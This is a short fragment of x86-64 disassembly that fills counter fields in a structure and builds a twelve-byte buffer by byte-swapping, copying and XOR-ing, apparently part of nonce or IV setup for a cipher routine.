mov dword [rcx + 0x408], r10d
jae 0x14003aa6b
lea eax, [r9 + 1]
mov dword [rcx + 0x404], eax
or eax, 0xffffffff
jmp 0x14003aa6b
xor eax, eax
xor r9d, r9d
bswap r9d
mov dword [rdx + 4], r9d
bswap eax
mov dword [rdx + 8], eax
xor eax, eax
mov cl, byte [r8 + rax]
mov byte [rdx + rax], cl
inc rax
cmp rax, 4
jne 0x14003aa79
mov cl, byte [r8 + rax]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xc
jne 0x14003aa89
ret